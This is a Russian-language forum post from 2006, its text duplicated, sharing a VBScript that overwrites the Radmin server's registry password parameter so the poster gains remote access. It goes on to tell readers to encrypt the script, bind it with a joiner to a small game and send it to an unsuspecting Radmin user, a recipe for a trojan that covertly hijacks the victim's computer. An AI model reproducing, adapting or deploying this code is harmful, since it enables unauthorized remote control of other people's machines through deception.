Seth
21.10.2006, 10:40
может камуто поможет :)
вот vbs код перенастраивающий в реестре сервер radmin:
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "System\RAdmin\v2.0\Server\Parameters"
strValueName = "Parameter"
iValues = Array(&H38,&H70,&He3,&Hb9,&Hf6,&Hf4,&Hfb,&H9e,&Hf8,&H9c,&H77,&H92,&H11,&Hf4,&Hce,&H1a)
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
oReg.SetBinaryValue HKEY_LOCAL_MACHINE,strKeyPath, strValueName,iValues
какой пароль я использовал не помню давно писал, а раскодирывать лень :)
создаётся txt фаил в него вписывается этот код
переиенновывается фаил в *.vbs потом какойто прогой шифруется и джуниром какимто клеется к какойнито игрушке мелкой и ламоку скинуть у которого стоит радмин, ну вобщем пользуйте :)
вот vbs код перенастраивающий в реестре сервер radmin:
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "System\RAdmin\v2.0\Server\Parameters"
strValueName = "Parameter"
iValues = Array(&H38,&H70,&He3,&Hb9,&Hf6,&Hf4,&Hfb,&H9e,&Hf8,&H9c,&H77,&H92,&H11,&Hf4,&Hce,&H1a)
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
oReg.SetBinaryValue HKEY_LOCAL_MACHINE,strKeyPath, strValueName,iValues
какой пароль я использовал не помню давно писал, а раскодирывать лень :)
создаётся txt фаил в него вписывается этот код
переиенновывается фаил в *.vbs потом какойто прогой шифруется и джуниром какимто клеется к какойнито игрушке мелкой и ламоку скинуть у которого стоит радмин, ну вобщем пользуйте :)